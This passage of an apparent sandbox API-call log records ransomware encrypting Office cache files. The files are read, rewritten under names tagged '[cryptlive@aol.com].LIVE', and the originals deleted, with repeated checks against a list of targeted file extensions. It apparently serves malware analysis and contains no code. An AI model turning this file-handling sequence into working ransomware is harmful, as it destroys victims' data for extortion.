(lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0038.821] lstrlenW (lpString=".jpg") returned 4 [0038.821] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.821] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.821] lstrlenW (lpString="Setup.xml") returned 9 [0038.821] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.896] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1872) returned 1 [0038.896] CloseHandle (hObject=0x1a0) returned 1 [0038.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0038.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.896] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.896] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0038.897] GetLastError () returned 0x0 [0038.897] ReadFile (in: hFile=0x1a0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x750, lpOverlapped=0x0) returned 1 [0038.898] WriteFile (in: hFile=0x19c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x760, lpOverlapped=0x0) returned 1 [0038.899] ReadFile (in: hFile=0x1a0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0038.899] WriteFile (in: hFile=0x19c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.899] SetEndOfFile (hFile=0x19c) returned 1 [0038.899] CloseHandle (hObject=0x19c) returned 1 [0038.900] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.901] SetEndOfFile (hFile=0x1a0) returned 1 [0038.901] CloseHandle (hObject=0x1a0) returned 1 [0038.902] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.902] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.902] lstrlenW (lpString=".doc") returned 4 [0038.902] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.902] lstrlenW (lpString=".docx") returned 5 [0038.902] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.902] lstrlenW (lpString=".pdf") returned 4 [0038.902] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.902] lstrlenW (lpString=".xls") returned 4 [0038.902] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.902] lstrlenW (lpString=".xlsx") returned 5 [0038.902] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.902] lstrlenW (lpString=".ppt") returned 4 [0038.902] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.902] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.902] lstrlenW (lpString=".zip") returned 4 [0038.903] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.903] lstrlenW (lpString=".rar") returned 4 [0038.903] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.903] lstrlenW (lpString=".bz2") returned 4 [0038.903] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.903] lstrlenW (lpString=".7z") returned 3 [0038.903] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.903] lstrlenW (lpString=".dbf") returned 4 [0038.903] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.903] lstrlenW (lpString=".1cd") returned 4 [0038.903] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.903] lstrlenW (lpString=".jpg") returned 4 [0038.903] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.903] lstrlenW (lpString=".doc") returned 4 [0038.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.903] lstrlenW (lpString=".docx") returned 5 [0038.903] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.903] lstrlenW (lpString=".pdf") returned 4 [0038.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.903] lstrlenW (lpString=".xls") returned 4 [0038.903] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.903] lstrlenW (lpString=".xlsx") returned 5 [0038.903] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.903] lstrlenW (lpString=".ppt") returned 4 [0038.903] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.903] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.903] lstrlenW (lpString=".zip") returned 4 [0038.903] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.903] lstrlenW (lpString=".rar") returned 4 [0038.903] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.903] lstrlenW (lpString=".bz2") returned 4 [0038.904] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.904] lstrlenW (lpString=".7z") returned 3 [0038.904] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.904] lstrlenW (lpString=".dbf") returned 4 [0038.904] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.904] lstrlenW (lpString=".1cd") returned 4 [0038.904] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.904] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.904] lstrlenW (lpString=".jpg") returned 4 [0038.904] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.904] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.904] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0038.904] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.904] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=5557) returned 1 [0038.904] CloseHandle (hObject=0x1a0) returned 1 [0038.904] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0038.905] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.905] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.905] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.905] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.905] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0038.905] GetLastError () returned 0x0 [0038.905] ReadFile (in: hFile=0x1a0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x15b5, lpOverlapped=0x0) returned 1 [0038.907] WriteFile (in: hFile=0x19c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0038.908] ReadFile (in: hFile=0x1a0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0038.908] WriteFile (in: hFile=0x19c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xee, lpOverlapped=0x0) returned 1 [0038.908] SetEndOfFile (hFile=0x19c) returned 1 [0038.909] CloseHandle (hObject=0x19c) returned 1 [0038.910] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.910] SetEndOfFile (hFile=0x1a0) returned 1 [0038.911] CloseHandle (hObject=0x1a0) returned 1 [0038.911] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.912] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0038.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.912] lstrlenW (lpString=".doc") returned 4 [0038.912] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.912] lstrlenW (lpString=".docx") returned 5 [0038.912] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.912] lstrlenW (lpString=".pdf") returned 4 [0038.912] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.912] lstrlenW (lpString=".xls") returned 4 [0038.912] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.912] lstrlenW (lpString=".xlsx") returned 5 [0038.912] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.912] lstrlenW (lpString=".ppt") returned 4 [0038.912] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.912] lstrlenW (lpString=".zip") returned 4 [0038.912] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.912] lstrlenW (lpString=".rar") returned 4 [0038.912] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.912] lstrlenW (lpString=".bz2") returned 4 [0038.912] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.912] lstrlenW (lpString=".7z") returned 3 [0038.912] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.912] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.912] lstrlenW (lpString=".dbf") returned 4 [0038.912] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.913] lstrlenW (lpString=".1cd") returned 4 [0038.913] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.913] lstrlenW (lpString=".jpg") returned 4 [0038.913] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.913] lstrlenW (lpString=".doc") returned 4 [0038.913] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.913] lstrlenW (lpString=".docx") returned 5 [0038.913] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.913] lstrlenW (lpString=".pdf") returned 4 [0038.913] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.913] lstrlenW (lpString=".xls") returned 4 [0038.913] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.913] lstrlenW (lpString=".xlsx") returned 5 [0038.913] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.913] lstrlenW (lpString=".ppt") returned 4 [0038.913] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.913] lstrlenW (lpString=".zip") returned 4 [0038.913] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.913] lstrlenW (lpString=".rar") returned 4 [0038.913] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.913] lstrlenW (lpString=".bz2") returned 4 [0038.913] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.913] lstrlenW (lpString=".7z") returned 3 [0038.913] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.913] lstrlenW (lpString=".dbf") returned 4 [0038.913] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.913] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.913] lstrlenW (lpString=".1cd") returned 4 [0038.914] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.914] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0038.914] lstrlenW (lpString=".jpg") returned 4 [0038.914] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.914] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0038.914] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0038.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.914] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=819) returned 1 [0038.914] CloseHandle (hObject=0x1a0) returned 1 [0038.914] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0038.914] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0038.914] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0038.914] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.915] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.915] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0038.915] GetLastError () returned 0x0 [0038.915] ReadFile (in: hFile=0x1a0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x333, lpOverlapped=0x0) returned 1 [0038.916] WriteFile (in: hFile=0x19c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x340, lpOverlapped=0x0) returned 1 [0038.917] ReadFile (in: hFile=0x1a0, lpBuffer=0x3910020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0038.917] WriteFile (in: hFile=0x19c, lpBuffer=0x3910020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3910020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xf4, lpOverlapped=0x0) returned 1 [0038.918] SetEndOfFile (hFile=0x19c) returned 1 [0038.918] CloseHandle (hObject=0x19c) returned 1 [0038.919] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0038.919] SetEndOfFile (hFile=0x1a0) returned 1 [0038.919] CloseHandle (hObject=0x1a0) returned 1 [0038.919] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0038.920] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0038.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.920] lstrlenW (lpString=".doc") returned 4 [0038.920] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.920] lstrlenW (lpString=".docx") returned 5 [0038.920] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0038.920] lstrlenW (lpString=".pdf") returned 4 [0038.920] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.920] lstrlenW (lpString=".xls") returned 4 [0038.920] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.920] lstrlenW (lpString=".xlsx") returned 5 [0038.920] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0038.920] lstrlenW (lpString=".ppt") returned 4 [0038.920] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.920] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.920] lstrlenW (lpString=".zip") returned 4 [0038.920] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.920] lstrlenW (lpString=".rar") returned 4 [0038.920] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.920] lstrlenW (lpString=".bz2") returned 4 [0038.920] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.920] lstrlenW (lpString=".7z") returned 3 [0038.921] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.921] lstrlenW (lpString=".dbf") returned 4 [0038.921] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.921] lstrlenW (lpString=".1cd") returned 4 [0038.921] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.921] lstrlenW (lpString=".jpg") returned 4 [0038.921] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.921] lstrlenW (lpString=".doc") returned 4 [0038.921] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.921] lstrlenW (lpString=".docx") returned 5 [0038.921] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0038.921] lstrlenW (lpString=".pdf") returned 4 [0038.921] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.921] lstrlenW (lpString=".xls") returned 4 [0038.921] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.921] lstrlenW (lpString=".xlsx") returned 5 [0038.921] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0038.921] lstrlenW (lpString=".ppt") returned 4 [0038.921] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.921] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0038.921] lstrlenW (lpString=".zip") returned 4 [0038.921] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.921] lstrlenW (lpString=".rar") returned 4 [0038.921] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.921] lstrlenW (lpString=".bz2") returned 4 [0038.921] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.921] lstrlenW (lpString=".7z") returned 3 [0038.921] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.921] lstrlenW 